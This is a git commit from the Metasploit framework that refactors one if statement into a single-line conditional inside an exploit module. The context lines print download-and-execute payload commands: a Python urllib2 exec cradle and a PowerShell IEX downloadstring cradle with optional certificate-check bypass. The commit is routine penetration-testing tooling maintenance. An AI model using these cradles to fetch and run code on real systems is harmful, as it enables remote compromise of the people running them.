one line if statement

bug/bundler_fix
Meatballs 2014-12-23 11:20:24 +00:00
parent b41e259252
commit 40c1fb814e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 1 additions and 3 deletions

View File

@ -88,9 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
if ssl
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
end
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line generate_psh_command_line(
noprofile: true,